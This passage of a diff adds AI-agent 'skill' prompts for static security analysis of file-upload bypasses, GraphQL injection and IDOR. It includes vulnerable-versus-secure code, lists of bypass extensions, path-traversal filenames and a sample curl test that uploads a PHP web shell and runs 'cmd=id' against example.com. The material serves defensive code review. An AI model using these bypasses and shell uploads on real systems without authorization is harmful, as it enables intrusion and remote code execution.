> - `fs.writeFile` / `fs.createWriteStream` / `pipe()` called with a request stream
>
> 4. **PHP**:
> - `$_FILES` access
> - `move_uploaded_file(...)` calls
> - `copy($_FILES[...]['tmp_name'], ...)`
>
> 5. **Java / Spring**:
> - `MultipartFile` parameters in controller methods: `@RequestParam MultipartFile`
> - `CommonsMultipartFile`, `StandardMultipartFile`
> - `Part.write(...)` (Servlet API)
> - `file.transferTo(...)`, `Files.write(path, file.getBytes())`
>
> 6. **Go**:
> - `r.FormFile(...)` or `r.MultipartForm.File`
> - `io.Copy(dst, file)` where `file` comes from a multipart form
> - `os.Create(...)` called with a filename derived from `header.Filename`
>
> 7. **Ruby / Rails**:
> - `params[:file]` with `.read`, `.original_filename`, `.tempfile`
> - `File.open(..., 'wb')` called with uploaded data
> - `has_one_attached` / `has_many_attached` (ActiveStorage)
> - CarrierWave `mount_uploader`, Shrine `include Shrine::Attachment`
>
> 8. **C# / ASP.NET**:
> - `IFormFile` parameters: `file.CopyToAsync(...)`, `file.OpenReadStream()`
> - `HttpPostedFileBase.SaveAs(...)`
> - `Request.Files[...]`
>
> **Output format** — write to `sast/fileupload-recon.md`:
>
> ```markdown
> # File Upload Recon: [Project Name]
>
> ## Summary
> Found [N] file upload sites.
>
> ## Upload Sites
>
> ### 1. [Descriptive name — e.g., "Avatar upload endpoint"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Framework / method**: [e.g., Flask request.files / multer / move_uploaded_file]
> - **Storage destination**: [path, variable, or storage abstraction — e.g., "static/uploads/" or "S3 via boto3" or "unknown"]
> - **Validation observed** (preliminary, Phase 2 will analyze in depth): [list any extension checks, content-type checks, or "none visible"]
> - **Code snippet**:
> ```
> [the upload receive and save code]
> ```
>
> [Repeat for each site]
> ```
### After Phase 1: Check for Candidates Before Proceeding
After Phase 1 completes, read `sast/fileupload-recon.md`. If the recon found **zero upload sites** (the summary reports "Found 0" or the "Upload Sites" section is empty or absent), **skip Phase 2 entirely**. Instead, write the following content to `sast/fileupload-results.md` and stop:
```markdown
# File Upload Analysis Results
No file upload sites found.
```
Only proceed to Phase 2 if Phase 1 found at least one upload site.
### Phase 2: Check for Extension Bypass Vulnerabilities
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each file upload site in `sast/fileupload-recon.md`, determine whether an attacker can upload a malicious file (e.g., a PHP web shell, a JSP shell, a Python script) by manipulating the filename, extension, or Content-Type header. Write final results to `sast/fileupload-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output.
>
> **For each upload site, evaluate the following bypass vectors**:
>
> 1. **No extension check**: No validation of any kind on the filename or extension. Any file is accepted. Immediately flag as **Vulnerable**.
>
> 2. **Content-Type / MIME header only**: Validation reads `Content-Type` or `mimetype` from the request headers but does not inspect the actual filename extension or file bytes. Attackers can set `Content-Type: image/png` while uploading `shell.php`. Flag as **Vulnerable**.
>
> 3. **Blocklist-based validation**: An explicit list of forbidden extensions. Check whether the blocklist is exhaustive for the server's technology:
> - **PHP servers**: Are `.php3`, `.php4`, `.php5`, `.php7`, `.phtml`, `.phar`, `.shtml` also blocked? If any are missing, flag as **Vulnerable**.
> - **Java servers**: Are `.jsp`, `.jspx`, `.jsw`, `.jsv`, `.jspf` also blocked?
> - **ASP.NET servers**: Are `.asp`, `.aspx`, `.ashx`, `.asmx`, `.cer`, `.asa` also blocked?
> - **Node.js**: Is `.js` execution possible via the server config? Check if `.js` files in the upload dir can be required/executed.
> - Any blocklist is inherently weaker than an allowlist — flag as **Likely Vulnerable** even if seemingly complete.
>
> 4. **Case sensitivity bypass**: Blocking `.php` but not `.PHP`, `.Php`, `.pHp`. Check whether the comparison uses `.toLowerCase()` / `.lower()` / `strtolower()` / case-insensitive matching.
>
> 5. **Double extension / multi-extension**: `shell.php.jpg` — if the code extracts the extension using a method that takes the last segment after the last dot, this should be caught by an allowlist. However, on Apache servers with `AddHandler` misconfig, the leftmost recognized extension may be used for execution. Check how the extension is extracted:
> - Safe: `filename.rsplit('.', 1)[-1]`, `path.extname(filename)` (takes the last extension)
> - Risky server config: Apache `AddHandler application/x-httpd-php .php` — even `shell.php.jpg` may be executed as PHP
>
> 6. **Path traversal in filename**: If the original filename is used in the storage path without sanitization, `../../webroot/shell.php` can place files in unintended directories. Check for:
> - Use of `secure_filename()`, `basename()`, `path.basename()`, `Path.GetFileName()`, or `filepath.Base()` — these strip directory separators and are safe
> - Direct use of `file.filename`, `header.Filename`, `file.getOriginalFilename()`, `$_FILES['name']` in a path join without sanitization — flag as **Vulnerable**
>
> 7. **File stored in web-executable directory**: Even with a correct extension allowlist, if uploads go to a directory served by the web server (e.g., `static/uploads/`, `public/uploads/`, `wwwroot/uploads/`) and the web server is configured to execute scripts, a bypass in extension validation becomes critical. Note whether the storage path is web-accessible.
>
> 8. **No content-based validation (magic bytes)**: The server trusts the extension without verifying the actual file content. A file named `shell.jpg` with PHP code inside is still dangerous if the extension check can be bypassed and the server executes it. Note absence of magic-byte checking as a contributing weakness.
>
> **Classification**:
> - **Vulnerable**: No validation at all, or a clearly bypassable check (content-type only, missing common extensions in blocklist, missing `.lower()`, path traversal in filename).
> - **Likely Vulnerable**: Blocklist that appears complete but is inherently weaker than an allowlist; or an allowlist with potential edge cases (e.g., does not account for uppercase extensions).
> - **Not Vulnerable**: Strict allowlist of safe extensions (applied case-insensitively), combined with filename sanitization and/or server-generated UUID rename, files stored outside web root or behind a controlled download endpoint.
> - **Needs Manual Review**: Validation logic is in a shared helper or middleware that could not be fully read; or storage path is dynamic and could not be determined.
>
> **Output format** — write to `sast/fileupload-results.md`:
>
> ```markdown
> # File Upload Analysis Results: [Project Name]
>
> ## Executive Summary
> - Upload sites analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "No extension validation — any file type accepted" or "Content-Type header used as sole check"]
> - **Bypass vector**: [Exact technique — e.g., "Upload shell.php directly" or "Set Content-Type: image/png while uploading a .php file" or "Use .phtml extension not covered by blocklist"]
> - **Storage path**: [Where the file lands — web-accessible or not]
> - **Impact**: [e.g., "Attacker uploads PHP web shell and achieves RCE by accessing /uploads/shell.php"]
> - **Remediation**: [Specific fix — switch to allowlist, add `.lower()`, use secure_filename, move storage outside web root]
> - **Dynamic Test**:
> ```
> [curl or HTTP request demonstrating the bypass.
> Example: curl -X POST https://app.example.com/upload \
> -F "file=@shell.php;type=image/png" \
> then access: https://app.example.com/static/uploads/shell.php?cmd=id]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "Blocklist-based extension check — inherently incomplete"]
> - **Bypass vector**: [Possible bypass — e.g., "Try .phtml, .phar, .php5 if server is Apache/PHP"]
> - **Storage path**: [Where the file lands]
> - **Concern**: [Why it's still a risk]
> - **Remediation**: [Replace blocklist with allowlist]
> - **Dynamic Test**:
> ```
> [payload to attempt bypass]
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Reason**: [e.g., "Strict allowlist of png/jpg/gif with .lower(), UUID rename, stored outside web root"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Uncertainty**: [Why validation logic or storage path could not be determined]
> - **Suggestion**: [What to trace manually]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely discovery**: find every place a user-supplied file is received and stored. Do not deeply analyze validation in Phase 1 — just note what is visible. That is Phase 2's job.
- **Phase 2 is purely bypass analysis**: for each upload site, examine the validation logic and determine whether it can be bypassed through extension manipulation, case variation, content-type spoofing, or path traversal.
- An allowlist is always stronger than a blocklist. Any blocklist-based approach should be flagged as at minimum **Likely Vulnerable** because blocklists are almost always incomplete.
- Content-Type (MIME type from the HTTP header) is **fully attacker-controlled** — never treat it as a security control.
- Case sensitivity matters: `.PHP` bypasses a check for `.php` if `.toLowerCase()` is missing. Always check.
- Path traversal in filenames is a separate attack vector from extension bypass — check for both.
- Even a correct extension check is weakened if the file is stored in a web-executable directory. Note storage location in every finding.
- Magic byte checking (reading actual file bytes) is defense-in-depth but does not replace extension allowlisting — a valid image with PHP code appended can still be dangerous.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
@@ -0,0 +1,308 @@
---
name: sast-graphql
description: >-
Detect GraphQL injection vulnerabilities in a codebase using a two-phase
approach: first confirm GraphQL is in use and find sites where operation
documents are built unsafely (concatenation, interpolation into query
strings), then trace whether user input reaches those sites. Requires
sast/architecture.md (run sast-analysis first). Outputs findings to
sast/graphql-results.md. If no GraphQL technology is found in Phase 1, Phase
2 is skipped. Use when asked to find GraphQL injection, unsafe GraphQL
document construction, or operation string injection bugs.
---
# GraphQL Injection Detection
You are performing a focused security assessment to find GraphQL injection vulnerabilities. This skill uses a two-phase approach with subagents: **recon** (confirm GraphQL usage and find every location where a GraphQL operation document is assembled unsafely) then **taint** (confirm whether user-supplied input reaches those assembly sites).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is GraphQL Injection
GraphQL injection occurs when user-controlled data is embedded into the **GraphQL document** (the query, mutation, or subscription string) rather than passed only through the **variables** map. The parser then interprets attacker-controlled syntax — new fields, aliases, directives, or fragments — which can bypass intent, reach unauthorized resolvers, or change server-side behavior when that document is executed or forwarded.
The core pattern: *unvalidated user input alters the structure or text of the GraphQL operation string passed to `execute`, `graphql`, a gateway client, or an HTTP body `query` field built from string operations.*
### What GraphQL Injection IS
- Concatenating or interpolating user input into an operation string: `` `query { user(id: "${id}") { name } }` ``, `"query { user(id: \"" + id + "\") { name } }"`
- Building the JSON `query` field for a downstream GraphQL HTTP request with string concat from request body or params
- Forwarding `req.body.query` (or similar) into another interpolated template that wraps or extends the operation
- Dynamic `gql` / `graphql-tag` template literals where a non-static expression changes document structure (not just a bound variable value inside a static document)
- Server-side code that selects or assembles operation text from user input (including "persisted query" ID → document maps without allowlisting)
- Wrappers around `graphql.execute()`, `graphqlHTTP`, Yoga/Apollo request pipeline where the first argument (document/source) is built from variables that could be user-influenced
### What GraphQL Injection is NOT
Do not flag these as GraphQL injection:
- **SQL injection in resolvers**: Resolver code that builds SQL from `args` — that is **SQL injection** (`sast-sqli`), not this skill
- **NoSQL / command injection in resolvers**: Same — use the appropriate SAST skill
- **IDOR via GraphQL arguments**: Passing another user's ID in a **variables** JSON with a **static** document — authorization flaw, not document injection
- **Normal variable binding**: Static document with `{"query": "query($id: ID!) { user(id: $id) { name } }", "variables": {"id": userInput}}` — values are bound as variables; the document structure is fixed (still verify authorization in resolvers)
- **Introspection / field suggestion enabled**: Information disclosure and hardening topic; only flag as GraphQL injection if the finding is specifically about **injecting into the operation string**
- **Query depth / complexity DoS**: Rate limiting and cost analysis — different class
### Patterns That Prevent GraphQL Injection
**1. Static operation documents with variables**
```javascript
const GET_USER = gql`
query GetUser($id: ID!) {
user(id: $id) { name }
}
`;
// execute(schema, GET_USER, null, context, { id: userId });
```
**2. Server uses standard HTTP handler; client sends document; server parses once**
The risk is not the mere presence of `req.body.query` on the server if the server only parses and executes it as the client's operation — injection in *that* path is client-side. Flag **server-side** construction of a **new** document that incorporates user strings before `execute` or before forwarding.
**3. Persisted queries / allowlisted operation IDs**
Document looked up by ID from a server-side registry; client cannot inject arbitrary document text.
**4. graphql-js `Source` with static string; dynamic values only in variableValues**
```javascript
graphql({ schema, source: staticQueryString, variableValues: { id: userId } });
```
---
## Vulnerable vs. Secure Examples
### Node.js — dynamic document for downstream API
```javascript
// VULNERABLE: user input in operation text
app.post('/proxy', async (req, res) => {
const fragment = req.body.fragment;
const query = `query { me { ${fragment} } }`;
const data = await fetch('https://api.internal/graphql', {
method: 'POST',
body: JSON.stringify({ query }),
});
});
// SECURE: static operation, user data only in variables
const PROXY_QUERY = `query ProxyMe { me { id name email } }`;
app.post('/proxy', async (req, res) => {
const data = await fetch('https://api.internal/graphql', {
method: 'POST',
body: JSON.stringify({ query: PROXY_QUERY }),
});
});
```
### Python — string format into execute
```python
# VULNERABLE
def run_custom_query(user_gql: str):
document = f"query {{ user {{ {user_gql} }} }}"
return graphql_sync(schema, document)
# SECURE: validate against allowlist of named operations or use static documents only
ALLOWED = {"id", "name", "email"}
fields = [f for f in requested_fields if f in ALLOWED]
document = "query { user { " + " ".join(ALLOWED.intersection(set(requested_fields))) + " } }"
# Better: fixed FieldNodes, not string building from user input
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: GraphQL Technology Recon and Injection Candidate Sites
Launch a subagent with the following instructions:
> **Goal**: (1) Determine whether this codebase uses GraphQL at all. (2) If it does, find every location where a GraphQL **operation document** (query/mutation/subscription source string) is built using string concatenation, interpolation, formatting, or dynamic assembly such that a variable could change the **document text** (not merely `variables` JSON). Write results to `sast/graphql-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it for stack, API layout, and BFF/gateway patterns.
>
> **Part A — Is GraphQL used?**
>
> Search for:
> - Dependencies: `graphql`, `@apollo/server`, `apollo-server-express`, `@nestjs/graphql`, `graphql-yoga`, `@graphql-yoga/node`, `mercurius`, `strawberry-graphql`, `graphene`, `sangria`, `gqlgen`, `async-graphql`, `juniper`, `graphql-ruby`, Hot Chocolate / `GraphQL.Server`, etc.
> - Schema artifacts: `*.graphql`, `*.graphqls`, codegen config (e.g. GraphQL Code Generator)
> - Server routes or plugins mounting `/graphql` or similar
>
> Set the summary to exactly one of:
> - `GraphQL is used in this codebase.` (list libraries and main entry points)
> - `GraphQL is not used in this codebase.`
>
> **Part B — Injection candidate sites (only if GraphQL is used)**
>
> If GraphQL is **not** used, omit the "Injection Candidate Sites" section or state there are none. Do not invent candidates.
>
> If GraphQL **is** used, search for **unsafe document construction**:
>
> 1. **String concatenation / interpolation into operation text**:
> - `` `query { ... ${x} ...}` ``, `"mutation { " + userFragment + " }"`
> - `sprintf`, `format`, `%` formatting, `.format()` building `query` or `source` arguments
>
> 2. **Calls where the document argument is not a compile-time constant**:
> - `graphql(schema, dynamicString, ...)`, `execute({ schema, document: parsedDynamic, ...})` where the string feeding `parse` or `execute` is built from non-static parts
> - `graphqlHTTP({ schema, rootValue, context: (req) => ({ query: req.body.query + something }) })` patterns that **mutate** or **wrap** the query string with user data
>
> 3. **HTTP clients forwarding a constructed GraphQL body**:
> - `JSON.stringify({ query: `...${userPart}...` })`, `axios.post(url, { query: builtFromInput })`
>
> 4. **Unsafe persisted / stored query lookup**:
> - Operation text loaded by key from user input without allowlist → file path or DB value becomes document source
>
> **What to skip** (do not flag as Phase 1 candidates):
> - Fully static `source` / `query` strings; only `variableValues` / `variables` come from the request
> - Schema definition with `buildSchema` / SDL files with no user interpolation
> - Resolver implementations that only use args with parameterized DB APIs (optional: note "resolver uses ORM" but not a GraphQL injection candidate unless the **document** is built unsafely)
>
> **Output format** — write to `sast/graphql-recon.md`:
>
> ```markdown
> # GraphQL Recon: [Project Name]
>
> ## Summary
> GraphQL is [used / not used] in this codebase.
> [If used: libraries, main server files, typical endpoint paths]
> Found [N] injection candidate site(s) where operation documents may be built unsafely. [If not used, say N/A or 0 and skip candidate list]
>
> ## GraphQL Surface (only if used)
> - **Libraries / frameworks**: ...
> - **Entry points**: ...
> - **Notable files**: ...
>
> ## Injection Candidate Sites
>
> ### 1. [Descriptive name]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint**: ...
> - **Execution / call pattern**: [graphql.execute / fetch with body / gql template / etc.]
> - **Construction pattern**: [concat / template literal / format / forwarded body mutation]
> - **Interpolated variable(s)**: ...
> - **Code snippet**:
> ```
> ...
> ```
>
> [Repeat for each site; if none, write "No injection candidate sites found." under the heading]
> ```
### After Phase 1: Gates Before Phase 2
After Phase 1 completes, read `sast/graphql-recon.md`.
**Gate 1 — No GraphQL technology**
If the summary states GraphQL is **not used** (or equivalent: no GraphQL libraries, no schema, no server — clear absence), **skip Phase 2 entirely**. Write the following to `sast/graphql-results.md` and stop:
```markdown
# GraphQL Injection Analysis Results
No GraphQL technology detected in this codebase.
```
**Gate 2 — GraphQL used but no injection candidates**
If GraphQL **is** used but there are **zero** injection candidate sites (summary reports 0 candidates, or the "Injection Candidate Sites" section states none found / is empty), **skip Phase 2 entirely**. Write the following to `sast/graphql-results.md` and stop:
```markdown
# GraphQL Injection Analysis Results
No vulnerabilities found.
```
**Otherwise** proceed to Phase 2.
### Phase 2: Trace User Input to Injection Candidate Sites
Launch a second subagent **after Phase 1 completes** and only if both gates passed (GraphQL used and at least one candidate site).
> **Goal**: For each injection candidate site in `sast/graphql-recon.md`, determine whether user-supplied data can reach the dynamic part of the operation document. Write final results to `sast/graphql-results.md`.
>
> **Context**: You will be given `sast/architecture.md` and `sast/graphql-recon.md`.
>
> **For each site, trace dynamic values backward**:
>
> 1. **Direct user input** — query params, path params, JSON body fields (including nested `query` if re-wrapped), headers, cookies
> 2. **Indirect user input** — helpers, middleware, context builders
> 3. **Second-order** — stored preferences or DB fields later used to build a document; trace write path
> 4. **Server-only** — config, env, hardcoded fragments — not exploitable from the client
>
> **Mitigations**:
> - Allowlist of fields or operation IDs before any string assembly
> - Parser validation that rejects unexpected definitions (still prefer no user-controlled document structure)
>
> **Classification**:
> - **Vulnerable**: User-controlled data reaches document construction with no effective mitigation
> - **Likely Vulnerable**: Probable taint or weak sanitization
> - **Not Vulnerable**: Server-side-only or effective allowlist / static document path
> - **Needs Manual Review**: Opaque flow
>
> **Output format** — write to `sast/graphql-results.md`:
>
> ```markdown
> # GraphQL Injection Analysis Results: [Project Name]
>
> ## Executive Summary
> - Candidate sites analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: ...
> - **Issue**: ...
> - **Taint trace**: ...
> - **Impact**: [e.g., unauthorized fields, gateway bypass, SSRF-style behavior to internal GraphQL]
> - **Remediation**: [static operations; variables only; persisted query allowlist]
> - **Dynamic Test**:
> ```
> [curl or in-browser GraphQL request showing injected fragment/directive/field]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: ...
> - **Endpoint / function**: ...
> - **Issue**: ...
> - **Taint trace**: ...
> - **Concern**: ...
> - **Remediation**: ...
> - **Dynamic Test**:
> ```
> ...
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: ...
> - **Endpoint / function**: ...
> - **Reason**: ...
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: ...
> - **Endpoint / function**: ...
> - **Uncertainty**: ...
> - **Suggestion**: ...
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- **If Phase 1 finds no GraphQL technology, skip Phase 2** — write the "No GraphQL technology detected" results file.
- **If GraphQL is used but Phase 1 finds no injection candidates, skip Phase 2** — write "No vulnerabilities found."
- Phase 1 does **not** trace taint; Phase 2 does.
- Resolver-layer SQL/NoSQL issues belong to other skills; this skill targets **operation document** construction.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable".
@@ -0,0 +1,405 @@
---
name: sast-idor
description: >-
Detect Insecure Direct Object Reference (IDOR) vulnerabilities in a codebase
using a two-phase recon-then-verify approach with subagents. Checks endpoints
for missing ownership or authorization checks on user-supplied identifiers.
Requires sast/architecture.md (run sast-analysis first). Outputs findings to
sast/idor-results.md. Use when asked to find IDOR or authorization bypass bugs.
---
# IDOR (Insecure Direct Object Reference) Detection
You are performing a focused security assessment to find IDOR vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **recon** (find candidate endpoints) then **verify** (check authorization).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is IDOR
IDOR occurs when an application uses a user-supplied identifier (ID, slug, filename, etc.) to directly access an object **without verifying the requesting user is authorized to access that specific object**. The application authenticates the user but fails to check ownership or permissions on the requested resource.
The core pattern: *authenticated user A can access or modify resources belonging to user B by changing an identifier in the request.*
### What IDOR IS
- Changing `/api/orders/1001` to `/api/orders/1002` and seeing another user's order
- Sending `DELETE /api/documents/555` to delete a document you don't own
- Modifying `{"account_id": 789}` in a request body to transfer money from someone else's account
- Changing a file download parameter `?file_id=42` to access another user's private file
- Updating another user's profile via `PUT /api/users/other-user-id`
### What IDOR is NOT
Do not flag these as IDOR:
- **Missing authentication**: Endpoint requires no login at all → that's "Unauthenticated Access", a different class
- **Broken function-level access control**: Regular user accessing `/admin/dashboard` → that's vertical privilege escalation, not IDOR
- **Public resources**: Accessing `/api/posts/123` where posts are intentionally public is not IDOR
- **Parameter tampering on non-object fields**: Changing `role=admin` or `price=0` in a request → that's mass assignment or business logic, not IDOR
- **SQL injection via ID fields**: `?id=1 OR 1=1` → that's SQLi, not IDOR
### Authorization Patterns That Prevent IDOR
When you see these patterns, the endpoint is likely **not vulnerable**:
**1. Query scoped to current user (most common fix)**
```
# The query itself ensures only the user's own records are returned
Order.objects.filter(id=order_id, user=request.user) # Django
current_user.orders.find(params[:id]) # Rails
Order.findOne({ _id: orderId, userId: req.user.id }) # Mongoose
SELECT * FROM orders WHERE id = ? AND user_id = ? # Raw SQL
```
**2. Explicit ownership check after fetch**
```
order = Order.find(order_id)
if order.user_id != current_user.id:
raise Forbidden
```
**3. Policy / ability / authorization middleware**
```
authorize('view', order) # Laravel Policy
can?(:read, @order) # CanCanCan (Rails)
@PreAuthorize("@auth.ownsOrder(#orderId)") # Spring Security
```
**4. Tenant/organization scoping**
```
# Multi-tenant apps that scope all queries to the tenant
tenant = get_current_tenant(request)
Order.objects.filter(id=order_id, tenant=tenant)
```
---
## Vulnerable vs. Secure Examples
### Python — Django
```python
# VULNERABLE: fetches any order by ID, no ownership check
def get_order(request, order_id):
order = Order.objects.get(id=order_id)
return JsonResponse(model_to_dict(order))
# SECURE: query scoped to requesting user
def get_order(request, order_id):
order = get_object_or_404(Order, id=order_id, user=request.user)
return JsonResponse(model_to_dict(order))
```
### Python — Flask / SQLAlchemy
```python
# VULNERABLE
@app.route('/api/documents/<int:doc_id>')
@login_required
def get_document(doc_id):
doc = Document.query.get_or_404(doc_id)
return jsonify(doc.serialize())
# SECURE
@app.route('/api/documents/<int:doc_id>')
@login_required
def get_document(doc_id):
doc = Document.query.filter_by(id=doc_id, owner_id=current_user.id).first_or_404()
return jsonify(doc.serialize())
```
### Node.js — Express / Mongoose
```javascript
// VULNERABLE
router.get('/api/orders/:id', auth, async (req, res) => {
const order = await Order.findById(req.params.id);
res.json(order);
});
// SECURE
router.get('/api/orders/:id', auth, async (req, res) => {
const order = await Order.findOne({ _id: req.params.id, userId: req.user.id });
if (!order) return res.status(404).json({ error: 'Not found' });
res.json(order);
});
```
### Node.js — Express / Prisma
```javascript
// VULNERABLE
router.get('/api/invoices/:id', auth, async (req, res) => {
const invoice = await prisma.invoice.findUnique({ where: { id: req.params.id } });
res.json(invoice);
});
// SECURE
router.get('/api/invoices/:id', auth, async (req, res) => {
const invoice = await prisma.invoice.findFirst({
where: { id: req.params.id, userId: req.user.id }
});
if (!invoice) return res.status(404).json({ error: 'Not found' });
res.json(invoice);
});
```
### Ruby on Rails
```ruby
# VULNERABLE
def show
@order = Order.find(params[:id])
end
# SECURE
def show
@order = current_user.orders.find(params[:id])
end
```
### Java — Spring Boot
```java
// VULNERABLE
@GetMapping("/api/accounts/{id}")
public Account getAccount(@PathVariable Long id) {
return accountRepo.findById(id).orElseThrow();
}
// SECURE
@GetMapping("/api/accounts/{id}")
public Account getAccount(@PathVariable Long id, Authentication auth) {
Account acct = accountRepo.findById(id).orElseThrow();
if (!acct.getOwnerId().equals(auth.getName()))
throw new AccessDeniedException("Forbidden");
return acct;
}
```
### Go
```go
// VULNERABLE
func GetOrder(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
order, _ := db.GetOrder(id)
json.NewEncoder(w).Encode(order)
}
// SECURE
func GetOrder(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
userID := r.Context().Value("userID").(string)
order, _ := db.GetOrderByUser(id, userID)
json.NewEncoder(w).Encode(order)
}
```
### PHP — Laravel
```php
// VULNERABLE
public function show($id) {
return Invoice::findOrFail($id);
}
// SECURE (scoped query)
public function show($id) {
return auth()->user()->invoices()->findOrFail($id);
}
// SECURE (policy)
public function show($id) {
$invoice = Invoice::findOrFail($id);
$this->authorize('view', $invoice);
return $invoice;
}
```
### C# — ASP.NET Core
```csharp
// VULNERABLE
[HttpGet("api/profiles/{id}")]
public async Task<IActionResult> GetProfile(int id) {
var profile = await _db.Profiles.FindAsync(id);
return Ok(profile);
}
// SECURE
[HttpGet("api/profiles/{id}")]
public async Task<IActionResult> GetProfile(int id) {
var userId = User.FindFirst(ClaimTypes.NameIdentifier)?.Value;
var profile = await _db.Profiles.FirstOrDefaultAsync(p => p.Id == id && p.UserId == userId);
if (profile == null) return NotFound();
return Ok(profile);
}
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Recon — Find Candidate Endpoints
Launch a subagent with the following instructions:
> **Goal**: Find every endpoint, controller action, or handler that retrieves, modifies, or deletes a specific object using a user-supplied identifier. Write results to `sast/idor-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, frameworks, route definitions, and data access patterns.
>
> **What to search for**:
>
> 1. **Route definitions** that contain ID parameters:
> - Path parameters: `:id`, `{id}`, `<int:id>`, `[id]`
> - Search patterns: route/path/endpoint definitions with parameter placeholders
>
> 2. **Controller/handler methods** that accept ID arguments and use them to fetch or mutate objects:
> - ORM lookups: `find(id)`, `findById()`, `get(id=)`, `objects.get()`, `findOne()`, `findUnique()`, `findFirst()`, `query.get()`, `where(id:)`
> - Raw queries: `SELECT ... WHERE id = ?`, etc.
> - Also look for delete, update operations with user-supplied IDs
>
> 3. **Request body or query parameter IDs** used in operations:
> - `req.body.userId`, `req.query.id`, `request.data['account_id']`, etc.
>
> 4. **GraphQL resolvers and mutations** that accept ID arguments
>
> 5. **File/resource access by user-supplied path or filename**
>
> **What to ignore**:
> - Endpoints that are intentionally public (no auth required by design)
> - Admin-only endpoints behind role-based checks (these are a different class)
> - Endpoints where the only ID used is the authenticated user's own ID (e.g., `GET /api/me/profile`)
> - Static asset serving
>
> **Output format** — write to `sast/idor-recon.md`:
>
> ```markdown
> # IDOR Recon: [Project Name]
>
> ## Summary
> Found [N] candidate endpoints that use user-supplied identifiers to access objects.
>
> ## Candidates
>
> ### 1. [Descriptive name]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path/:param`
> - **Identifier source**: [path param / query param / body field]
> - **Operation**: [read / update / delete]
> - **Object accessed**: [model/table name]
> - **Code snippet**:
> ```
> [relevant code]
> ```
>
> [Repeat for each candidate]
> ```
### Phase 2: Verify — Check Authorization
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each candidate in `sast/idor-recon.md`, determine whether adequate authorization checks exist. Write final results to `sast/idor-results.md`.
>
> **Context**: You will be given the project's architecture summary and the recon results. Use the architecture summary to understand the auth mechanism, middleware stack, and ORM patterns.
>
> **For each candidate endpoint, check**:
>
> 1. **Is the database query scoped to the authenticated user?**
> - Does the query include a `user_id` / `owner_id` / `tenant_id` filter matching the current user?
> - Is the query done through an association (e.g., `current_user.orders.find(id)`)?
>
> 2. **Is there an explicit ownership/permission check after fetching?**
> - Does the code compare `resource.user_id == current_user.id` (or equivalent)?
> - Is there a policy/ability/authorization check?
>
> 3. **Is there authorization middleware applied to this route?**
> - Is there middleware that verifies object ownership before the handler runs?
> - Trace the middleware chain — don't assume a middleware name implies it checks ownership
>
> 4. **For mutations (update/delete), are the same checks present?**
> - Sometimes read endpoints are protected but write endpoints are not
>
> 5. **Edge cases to check**:
> - Does the auth check exist but only run conditionally (e.g., skipped for certain content types)?
> - Is the check present in one branch of an if/else but missing in another?
> - Can the check be bypassed by sending the ID in an alternative field?
> - Are bulk/batch endpoints checked per-item or just at the batch level?
>
> **Classification**:
> - **Vulnerable**: No authorization check found for the specific object. User A can access User B's resources.
> - **Likely Vulnerable**: Auth check exists but appears incomplete, bypassable, or conditional.
> - **Not Vulnerable**: Proper authorization check is in place.
> - **Needs Manual Review**: Cannot determine with confidence (e.g., complex middleware chain, authorization happens in a service layer that's hard to trace).
>
> **Output format** — write to `sast/idor-results.md`:
>
> ```markdown
> # IDOR Analysis Results: [Project Name]
>
> ## Executive Summary
> - Candidates analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Endpoint name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint**: `METHOD /path/:param`
> - **Issue**: [Clear description of what's missing]
> - **Impact**: [What an attacker can do — read other users' X, delete other users' Y, etc.]
> - **Proof**: [Show the code path — from route to DB query — highlighting the missing check]
> - **Remediation**: [Specific fix for this endpoint]
> - **Dynamic Test**:
> ```
> [curl command or step-by-step instructions to confirm this finding on the live app.
